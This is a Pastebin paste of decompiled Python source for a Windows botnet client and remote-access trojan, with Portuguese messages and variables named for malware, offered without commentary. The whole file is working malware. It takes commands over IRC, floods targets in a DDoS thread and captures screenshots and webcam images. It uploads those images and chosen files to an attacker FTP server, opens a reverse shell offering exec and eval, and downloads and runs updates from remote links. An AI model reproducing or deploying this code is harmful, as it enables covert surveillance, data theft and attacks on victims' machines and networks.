Advertisement
Guest User

Untitled

a guest
Jan 10th, 2016
91
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 18.35 KB | None | 0 0
  1. # Embedded file name: C:\Python27\PyInstaller-2.1\clasp\build\clasp\out00-PYZ.pyz\prompt
  2. from twisted.internet.protocol import ClientFactory
  3. from twisted.protocols.basic import NetstringReceiver
  4. from twisted.words.protocols.irc import IRCClient
  5. from twisted.internet import reactor
  6. import time, ImageGrab, VideoCapture, ftplib, win32api, psutil
  7. import config
  8. import random
  9. import socket
  10. from threading import Thread
  11. from subprocess import Popen
  12. import datetime
  13. import os
  14. import urllib2
  15. import zipfile
  16. import hashlib
  17. import _winreg
  18. from traceback import format_exc
  19. version = '3.2'
  20. pcid = None
  21. debugfilepath = '%s\\debug.log' % config.malware_folder
  22.  
  23. _download = config.main_exe_link
  24. _root_key = 'HKEY_CURRENT_USER'
  25. _key = 'Software\\Microsoft\\Windows\\CurrentVersion\\Run'
  26. _exename = config.malware_exe
  27. _exepath = config.malware_folder[3:]
  28. rundir = '%s' + _exepath
  29. rundir = rundir % os.getcwd()[:3]
  30.  
  31. def emergency():
  32.     links = ('ftp://%s:%s/ftproot/emergency.dat' % (config.ftp_ip, config.ftp_port), 'http://pastebin.com/raw.php?i=93kWZuiM')
  33.     emergency_data = None
  34.     for link in links:
  35.         try:
  36.             emergency_data = urllib2.urlopen(link).read()
  37.             break
  38.         except:
  39.             return
  40.  
  41.     if not emergency_data:
  42.         return
  43.     else:
  44.         emergency_data = emergency_data.strip('\n')
  45.         emergency_data = emergency_data.replace('\r', '')
  46.         emergency_data = emergency_data.split('\n')
  47.         emergency_dic = {}
  48.         for item in emergency_data:
  49.             keyvalue = item.split('=')
  50.             emergency_dic[keyvalue[0]] = keyvalue[1]
  51.  
  52.         if emergency_dic['update'] != 'None':
  53.             if emergency_dic['md5'] != checksum(config.malware_path):
  54.                 update_program(emergency_dic['update'])
  55.         return
  56.  
  57.  
  58. def update_program(url):
  59.     try:
  60.         reactor.stop()
  61.     except:
  62.         pass
  63.  
  64.     Popen(['%s\\updater.exe' % config.malware_folder, str(os.getpid()), url])
  65.     while True:
  66.         time.sleep(999)
  67.  
  68.  
  69. def print_debug(string):
  70.     if config.DEBUG:
  71.         print string
  72.  
  73.  
  74. def log_debugfile(string):
  75.     write(debugfilepath, string + '\n')
  76.  
  77.  
  78. def write(path, data):
  79.     if not os.path.isfile(path):
  80.         all = ''
  81.     else:
  82.         f = open(path, 'r')
  83.         all = f.read()
  84.         f.close()
  85.     f = open(path, 'w')
  86.     f.write(all + data)
  87.     f.close()
  88.  
  89.  
  90. def copyfile(origem, destino):
  91.     nome = origem.split('\\')[-1]
  92.     org = open(origem, 'rb')
  93.     orgread = org.read()
  94.     dest = open(destino + '\\' + nome, 'wb')
  95.     dest.write(orgread)
  96.     dest.close()
  97.     org.close()
  98.  
  99.  
  100. def change_pcid(new_pcid = None):
  101.     global pcid
  102.     idpath = '%s\\id.txt' % config.malware_folder
  103.     if new_pcid:
  104.         pcid = new_pcid
  105.         file = open(idpath, 'w')
  106.         file.write(pcid)
  107.         file.close()
  108.     elif os.path.isfile(idpath):
  109.         file = open(idpath)
  110.         pcid = file.read()
  111.         file.close()
  112.     else:
  113.         pcid = socket.gethostname() + '_'
  114.         for i in range(4):
  115.             pcid += str(random.randint(0, 9))
  116.  
  117.         file = open(idpath, 'w')
  118.         file.write(pcid)
  119.         file.close()
  120.  
  121.  
  122. def checksum(file):
  123.     check = hashlib.md5()
  124.     check.update(open(file, 'rb').read())
  125.     return check.hexdigest()
  126.  
  127.  
  128. def send_debuglog(protocol, debug_request):
  129.     code, pcs = debug_request.split(':', 1)
  130.     pcs = pcs.split(':')
  131.     if code not in protocol.debug_request_codes:
  132.         if pcid in pcs or 'ALL' in pcs:
  133.             uploadftp(debugfilepath)
  134.             protocol.debug_request_codes.append(code)
  135.  
  136.  
  137. def ss():
  138.     path = rundir + '\\ss.jpg'
  139.     img = ImageGrab.grab()
  140.     img.save(path, 'JPEG')
  141.     uploadftp(path)
  142.     os.remove(path)
  143.  
  144.  
  145. def zip_folder(folder_path, output_path):
  146.     parent_folder = os.path.dirname(folder_path)
  147.     contents = os.walk(folder_path)
  148.     zip_file = zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED)
  149.     for root, folders, files in contents:
  150.         for folder_name in folders:
  151.             absolute_path = os.path.join(root, folder_name)
  152.             relative_path = absolute_path.replace(parent_folder + '\\', '')
  153.             zip_file.write(absolute_path, relative_path)
  154.  
  155.         for file_name in files:
  156.             absolute_path = os.path.join(root, file_name)
  157.             relative_path = absolute_path.replace(parent_folder + '\\', '')
  158.             zip_file.write(absolute_path, relative_path)
  159.  
  160.     zip_file.close()
  161.  
  162.  
  163. def download(url, path):
  164.     download = urllib2.urlopen(url)
  165.     f = open(path + '\\' + url.split('/')[-1], 'wb')
  166.     f.write(download.read())
  167.     f.close()
  168.  
  169.  
  170. def uploadftp(path):
  171.     ftp = ftplib.FTP()
  172.     ftp.connect(config.ftp_ip, config.ftp_port)
  173.     ftp.login(config.ftp_user, config.ftp_pass)
  174.     ftp.cwd('ftproot/zombies')
  175.     dirlist = []
  176.     ftp.retrlines('LIST', dirlist.append)
  177.     ok = 0
  178.     for f in dirlist:
  179.         if f.split()[-1] == pcid:
  180.             ok = 1
  181.  
  182.     if ok == 0:
  183.         ftp.mkd(pcid)
  184.     ftp.cwd(pcid)
  185.     f = open(path, 'rb')
  186.     ftp.storbinary('STOR ' + path.split('\\')[-1], f)
  187.     f.close()
  188.     ftp.quit()
  189.  
  190. def deldir(path):
  191.     for item in os.listdir(path):
  192.         if os.path.isdir(path + '\\' + item):
  193.             deldir(path + '\\' + item)
  194.         else:
  195.             os.remove(path + '\\' + item)
  196.  
  197.     os.rmdir(path)
  198.  
  199.  
  200. class DDoS(Thread):
  201.  
  202.     def start(self, host, port, protocol):
  203.         self.host = host
  204.         self.port = port
  205.         self.protocol = protocol
  206.         Thread.start(self)
  207.  
  208.     def run(self):
  209.         packet = 'a' * 1024
  210.         while self.protocol.ddosing:
  211.             try:
  212.                 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  213.                 sock.connect((self.host, self.port))
  214.                 while True:
  215.                     sock.send(packet)
  216.  
  217.             except socket.error:
  218.                 pass
  219.  
  220.  
  221. class SS_Stream(Thread):
  222.  
  223.     def start(self, interval, obj):
  224.         self.interval = interval
  225.         self.obj = obj
  226.         Thread.start(self)
  227.  
  228.     def run(self):
  229.         while self.obj.ss_stream:
  230.             try:
  231.                 ss()
  232.             except:
  233.                 pass
  234.             else:
  235.                 time.sleep(self.interval)
  236.  
  237.  
  238. class IRCProtocol(IRCClient):
  239.     channel = config.irc_channel
  240.     ddosing = False
  241.     updating = False
  242.     force_updating = False
  243.     auth = []
  244.  
  245.     def __init__(self):
  246.         self.nickname = pcid
  247.  
  248.     def irc_RPL_NAMREPLY(self, prefix, params):
  249.         self.got_names(params[1], params[3].split())
  250.  
  251.     def got_names(self, channel, names):
  252.         pass
  253.  
  254.     def parse_topic(self, key):
  255.         dic = {}
  256.         data = self.irc_topic.split(',')
  257.         for chave in data:
  258.             dic[chave.split('|')[0]] = chave.split('|')[1]
  259.  
  260.         if dic.has_key(key):
  261.             return dic[key]
  262.  
  263.     def signedOn(self):
  264.         self.join(self.channel)
  265.  
  266.     def topicUpdated(self, user, channel, newtopic):
  267.         print_debug('topic updated')
  268.         if channel.lower() != self.channel.lower():
  269.             return
  270.         self.irc_topic = newtopic
  271.         if self.parse_topic('md5') != checksum(config.malware_path):
  272.             if not config.DEBUG:
  273.                 self.updating = True
  274.                 self.quit('Updating...')
  275.  
  276.     def privmsg(self, user, channel, message):
  277.         print_debug('user: ' + user)
  278.         print_debug('message: ' + message)
  279.         if message == '!ping':
  280.             s_user = user.split('!')[0]
  281.             if channel.startswith('#'):
  282.                 self.msg(channel, 'Pong!')
  283.             else:
  284.                 self.msg(s_user, 'Pong!')
  285.         if user not in self.auth:
  286.             if message.startswith('!auth '):
  287.                 password = message.strip('!auth ')
  288.                 hash = hashlib.sha512('NmQs9UnDRNSbK4cn5eSY' + password).hexdigest()
  289.                 print_debug(hash)
  290.                 if hash == config.auth_hash:
  291.                     print_debug('auth completed')
  292.                     self.auth.append(user)
  293.         else:
  294.             print_debug('auth ok')
  295.             if message.startswith('!connect'):
  296.                 if not channel.startswith('#') or message.strip('!connect') == ' ' + self.nickname:
  297.                     fac = ClientFactory()
  298.                     fac.protocol = PromptSession
  299.                     reactor.connectTCP(config.my_ip_ext, config.my_port, fac)
  300.             if message.startswith('!ddos '):
  301.                 command = message.strip('!ddos ')
  302.                 if command != 'stop':
  303.                     if not self.ddosing:
  304.                         ddos_host, ddos_port = command.split(':')
  305.                         DDoS().start(ddos_host, ddos_port)
  306.                         self.ddosing = True
  307.                 else:
  308.                     self.ddosing = False
  309.             if message.startswith('!debug '):
  310.                 command = message.strip('!debug ')
  311.                 if self.nickname in command or command == 'ALL':
  312.                     uploadftp(debugfilepath)
  313.             if message.startswith('!update '):
  314.                 command = message[8:].split('|')
  315.                 if command[0] != checksum(config.malware_path):
  316.                     self.force_updating = command[1]
  317.                     self.quit('Updating...')
  318.  
  319.     def alterCollidedNick(self, nickname):
  320.         newnick = nickname + '_'
  321.         return newnick
  322.  
  323.     def connectionLost(self, reason):
  324.         if self.updating:
  325.             update_program(self.parse_topic('url'))
  326.         if self.force_updating:
  327.             update_program(self.force_updating)
  328.  
  329.  
  330. class IRCFactory(ClientFactory):
  331.     protocol = IRCProtocol
  332.  
  333.     def clientConnectionLost(self, connector, reason):
  334.         connector.connect()
  335.  
  336.     clientConnectionFailed = clientConnectionLost
  337.  
  338.  
  339. class CommandHandler():
  340.     path_cmd_args = ('cd', 'dir', 'ls', 'del', 'mkdir', 'read', 'upload', 'exec', 'zip', 'dirsize', 'setname', 'eval')
  341.     env_var = {'%rundir%': rundir}
  342.     init_cwd = os.getcwd()
  343.  
  344.     def __init__(self):
  345.         self.ss_stream = False
  346.         os.chdir(self.init_cwd)
  347.  
  348.     def receive_command(self, command, args):
  349.         command = command.lower()
  350.         if command == 'exit':
  351.             return 0
  352.         try:
  353.             func = getattr(self, 'func_%s' % command)
  354.         except AttributeError:
  355.             return 'Comando invalido.'
  356.  
  357.         try:
  358.             if command in self.path_cmd_args:
  359.                 args = '|'.join(args)
  360.             return str(func(args))
  361.         except:
  362.             return format_exc()
  363.  
  364.     def orglist(self, list):
  365.         output = ''
  366.         for item in list:
  367.             output += item + '\n'
  368.  
  369.         output = output.strip('\n')
  370.         return output
  371.  
  372.     def convert_size(self, size):
  373.  
  374.         def max_len(str, lenght):
  375.             if lenght <= 0:
  376.                 lenght = -1
  377.             else:
  378.                 lenght += 1
  379.             index = str.find('.')
  380.             if len(str) <= index + lenght:
  381.                 return str
  382.             else:
  383.                 return str[:index + lenght]
  384.  
  385.         units = ('B', 'KB', 'MB', 'GB', 'TB')
  386.         final_unit = 0
  387.         current = float(size)
  388.         while current > 1024 and final_unit < len(units) - 1:
  389.             current /= 1024
  390.             final_unit += 1
  391.  
  392.         return '%s %s' % (max_len(str(current), 2), units[final_unit])
  393.  
  394.     def func_cd(self, args):
  395.         if args in self.env_var.keys():
  396.             os.chdir(self.env_var[args])
  397.         elif args:
  398.             if os.path.isdir(args):
  399.                 if not os.path.isabs(args):
  400.                     args = os.path.abspath(args)
  401.             else:
  402.                 return 'Diretorio invalido.'
  403.             os.chdir(args)
  404.         else:
  405.             path = os.getcwd().split('\\')
  406.             os.chdir('\\'.join(path[:-1]))
  407.         return ''
  408.  
  409.     def func_dir(self, args):
  410.         if args:
  411.             if os.path.isdir(args):
  412.                 path = args
  413.             else:
  414.                 return 'Diretorio invalido.'
  415.         else:
  416.             path = os.getcwd()
  417.         dirs = []
  418.         files = []
  419.         for item in os.listdir(path):
  420.             abspath = path + '\\' + item
  421.             if os.path.isdir(abspath):
  422.                 dirs.append(item)
  423.             elif os.path.isfile(abspath):
  424.                 files.append('%s %s' % (item, self.convert_size(os.path.getsize(abspath))))
  425.  
  426.         dirs = sorted(dirs)
  427.         files = sorted(files)
  428.         return self.orglist(dirs + files)
  429.  
  430.     def func_del(self, args):
  431.         if os.path.isfile(args):
  432.             os.remove(args)
  433.         elif os.path.isdir(args):
  434.             deldir(args)
  435.         else:
  436.             return 'Arquivo/diretorio inexistente.'
  437.         return 'Deletado.'
  438.  
  439.     def func_mkdir(self, args):
  440.         os.mkdir(args)
  441.         return 'Diretorio criado.'
  442.  
  443.     def func_read(self, args):
  444.         f = open(args)
  445.         data = f.read()
  446.         f.close()
  447.         return data
  448.  
  449.     def func_run(self, args):
  450.         Popen(args)
  451.         return 'Executado.'
  452.  
  453.     def func_upload(self, args):
  454.         Thread(target=uploadftp, args=(args,)).start()
  455.         return 'Uploading.'
  456.  
  457.     def func_download(self, args):
  458.         if len(args) == 1:
  459.             Thread(target=download, args=(args[0], os.getcwd())).start()
  460.         elif len(args) > 1:
  461.             path = '|'.join(args[1:])
  462.             Thread(target=download, args=(args[0], path)).start()
  463.         return 'Downloading.'
  464.  
  465.     def func_copy(self, args):
  466.         copyfile(args[0], args[1])
  467.         return 'Copiado.'
  468.  
  469.     def func_move(self, args):
  470.         self.func_copy(args)
  471.         os.remove(args[0])
  472.         return 'Movido.'
  473.  
  474.     def func_ss(self, args):
  475.         ss()
  476.         return 'Printed.'
  477.  
  478.     def func_ping(self, args):
  479.         return 'Pong.'
  480.  
  481.     def func_version(self, args):
  482.         return version
  483.  
  484.     def func_pcname(self, args):
  485.         return pcid
  486.  
  487.     def func_exec(self, args):
  488.         exit_code = os.system(args)
  489.         if exit_code == 0:
  490.             return 'Executado.'
  491.         else:
  492.             return exit_code
  493.  
  494.     def func_proclist(self, args):
  495.         proclist = []
  496.         for proc in psutil.get_process_list():
  497.             proclist.append('%s = %s' % (proc.name, proc.pid))
  498.  
  499.         return self.orglist(proclist)
  500.  
  501.     def func_kill(self, args):
  502.         psutil.Process(int(args[0])).kill()
  503.         return 'Killed.'
  504.  
  505.     def func_camss(self, args):
  506.         path = rundir + '\\camss.jpg'
  507.         cam = VideoCapture.Device()
  508.         cam.saveSnapshot(path, timestamp=3, boldfont=1)
  509.         uploadftp(path)
  510.         os.remove(path)
  511.         return 'Done.'
  512.  
  513.     def func_zip(self, args):
  514.         zip_folder(args, '%s\\%s.zip' % (rundir, args.split('\\')[-1]))
  515.         return 'Compactado.'
  516.  
  517.     def func_extract(self, args):
  518.         zip_file = zipfile.ZipFile(args, 'r')
  519.         extractdir = '%s\\%s' % (rundir, args.split('\\')[-1][:-4])
  520.         os.mkdir(extractdir)
  521.         zip_file.extractall(extractdir)
  522.         zip_file.close()
  523.         return 'Extraido.'
  524.  
  525.     def func_drives(self, args):
  526.         drives = win32api.GetLogicalDriveStrings().split('\x00')
  527.         if '' in drives:
  528.             drives.remove('')
  529.         drives_out = []
  530.         for drive in drives:
  531.             try:
  532.                 os.listdir(drive)
  533.             except:
  534.                 pass
  535.             else:
  536.                 drives_out.append(drive)
  537.  
  538.         return self.orglist(drives_out)
  539.  
  540.     def func_dirsize(self, args):
  541.         if args:
  542.             folder = args
  543.         else:
  544.             folder = os.getcwd()
  545.         folder_size = 0
  546.         for path, dirs, files in os.walk(folder):
  547.             for file in files:
  548.                 filename = path + '\\' + file
  549.                 folder_size += os.path.getsize(filename)
  550.  
  551.         return self.convert_size(folder_size)
  552.  
  553.     def func_ss_stream(self, args):
  554.         if not len(args):
  555.             stream_state = {True: 'ON',
  556.              False: 'OFF'}
  557.             out = 'Stream: %s' % stream_state[self.ss_stream]
  558.         elif args[0] == '1':
  559.             if not self.ss_stream:
  560.                 self.ss_stream = True
  561.                 interval = 0
  562.                 if len(args) > 1:
  563.                     interval = int(args[1])
  564.                 SS_Stream().start(interval, self)
  565.                 return 'Stream: ON'
  566.             else:
  567.                 return 'Already on.'
  568.         elif args[0] == '0':
  569.             self.ss_stream = False
  570.             return 'Stream: OFF'
  571.  
  572.     def func_setname(self, args):
  573.         change_pcid(args)
  574.         return 'Changed: %s' % pcid
  575.  
  576.     def func_eval(self, args):
  577.         if args:
  578.             return eval(args)
  579.         else:
  580.             return 'No arguments.'
  581.  
  582.     func_ls = func_dir
  583.     func_print = func_ss
  584.  
  585.  
  586. class PromptSession(NetstringReceiver):
  587.  
  588.     def __init__(self):
  589.         self.cmd_handler = CommandHandler()
  590.  
  591.     def stringReceived(self, string):
  592.         input_list = string.split('|')
  593.         cmd = input_list[0]
  594.         cmd_args = input_list[1:]
  595.         out = self.cmd_handler.receive_command(cmd, cmd_args)
  596.         if out == 0:
  597.             self.transport.loseConnection()
  598.             return
  599.         self.sendString('%s|%s' % (out, os.getcwd()))
  600.  
  601.     def connectionMade(self):
  602.         self.sendString('%s|%s' % (pcid, os.getcwd()))
  603.  
  604.     def connectionLost(self, reason):
  605.         self.cmd_handler.ss_stream = False
  606.  
  607.  
  608. def main():
  609.     if not config.DEBUG:
  610.         emergency()
  611.     print_debug('checkando pcid')
  612.     change_pcid()
  613.     print_debug('checkando debuglog')
  614.     if not os.path.isfile(debugfilepath):
  615.         log_debugfile('Begin: %s\n' % datetime.datetime.now())
  616.     if not config.DEBUG:
  617.         if not os.path.isfile('%s\\updater.exe' % config.malware_folder):
  618.             download(config.malware_updater_link, config.malware_folder)
  619.         if not os.path.isfile('%s\\helvB08.pil' % config.malware_folder):
  620.             zippath = '%s\\pilfonts.zip' % config.malware_folder
  621.             download(config.pil_link, config.malware_folder)
  622.             zip = zipfile.ZipFile(zippath, 'r')
  623.             zip.extractall(config.malware_folder)
  624.             zip.close()
  625.             os.remove(zippath)
  626.     print_debug('starting twisted')
  627.     reactor.connectTCP(config.irc_server, config.irc_port, IRCFactory())
  628.     reactor.run()
  629.  
  630.  
  631. def core():
  632.     try:
  633.         main()
  634.     except Exception as exc:
  635.         if not config.DEBUG:
  636.             log_debugfile(format_exc())
  637.             uploadftp(debugfilepath)
  638.             emergency()
  639.         raise exc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement